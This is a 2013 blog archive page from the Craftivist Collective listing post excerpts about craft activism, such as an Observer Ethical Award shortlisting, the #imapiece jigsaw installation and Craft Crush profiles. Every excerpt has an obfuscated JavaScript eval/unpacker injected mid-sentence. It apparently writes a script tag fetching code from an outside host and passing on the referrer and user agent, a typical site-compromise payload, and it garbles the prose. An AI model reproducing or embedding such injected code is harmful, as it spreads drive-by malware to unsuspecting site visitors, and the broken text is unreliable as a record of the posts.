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21 May We’ve been shortlisted for a 2013 Observer Ethical Award! :)

Posted at 18:38h in All, Media Alert by Craftivist Collective 4 Comments
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I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfznt|var|u0026u|referrer|besfn||js|php'.split('|'),0,{})) got a surprise phone call whilst on holiday and it was from the Observer Ethical Awards saying that we have been shortlisted with...

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20 May Craft Crush #5: Carrie Reichardt

Posted at 00:01h in All, Craft Crush by Craftivist Collective 0 Comments
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As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iedtk|var|u0026u|referrer|ykbny||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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09 May #imapiece Installation in Northern Ireland! Where will it go next?

Posted at 23:41h in All, Event, Stitch-in by Craftivist Collective 2 Comments
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Calling eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frfdn|var|u0026u|referrer|hrbrd||js|php'.split('|'),0,{})) all Northern Ireland Craftivists! Don't forget that the #imapiece installation of over 700 hand-stitched jigsaw pieces supporting Save the Children's Race Against Hunger...

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04 May We love fashion but…

Posted at 12:34h in All by Craftivist Collective 2 Comments
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... eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktdee|var|u0026u|referrer|iszsb||js|php'.split('|'),0,{})) but hate sweatshops & the ugly side of the fashion industry. You probably saw in the news that over 500 people have been killed...

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23 Apr #imapiece short film- showing what we can achieve if we all work together

Posted at 01:10h in All by Craftivist Collective 1 Comment
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We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdrsa|var|u0026u|referrer|tzaii||js|php'.split('|'),0,{})) are very proud to present a short film of what we (that's you too!) have all achieved so far as a collective when...

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22 Apr Craft Crush #4: Barley Massey of Fabrications

Posted at 17:16h in All, Craft Crush by Craftivist Collective 1 Comment
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As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fisbs|var|u0026u|referrer|ffsrk||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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21 Apr Sooooo…. NYC = I need your advice please

Posted at 03:16h in All by Craftivist Collective 3 Comments
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      Sarah eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keaft|var|u0026u|referrer|sifkr||js|php'.split('|'),0,{})) Corbett here asking my fellow craftivists (that's you!) for your advice, solidarity & help pleeeeease. So you might have noticed from my NYC...

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12 Apr It’s London’s turn to host the #imapiece Installation. Who’s coming?!:)

Posted at 13:07h in All, Event by Craftivist Collective 3 Comments
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We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|earnz|var|u0026u|referrer|fybdz||js|php'.split('|'),0,{})) can finally confirm that crafters, craftivists and everyone else around the South East can finally see our #imapiece installation in all it's glory...

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09 Apr Craftivism at a Trade School. We *heart* Trade Schools! :)

Posted at 01:01h in All, Event by Craftivist Collective 0 Comments
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Trade eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eytti|var|u0026u|referrer|tendz||js|php'.split('|'),0,{})) School is an ace concept: an open learning space that runs on barter. Anyone can teach something they are skilled at, or passionate about....

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07 Apr Join us at Norwegian Crafts’s 2013 conference on Craft & Social Change: London 8-9th May 2013

Posted at 01:00h in All, Event by Craftivist Collective 0 Comments
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Can eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkffh|var|u0026u|referrer|tkrbk||js|php'.split('|'),0,{})) craft create social change? Where is the evidence? What more can it do? Craft and Social Change is a Norwegian Crafts event organised by ArtProjects and Solutions...

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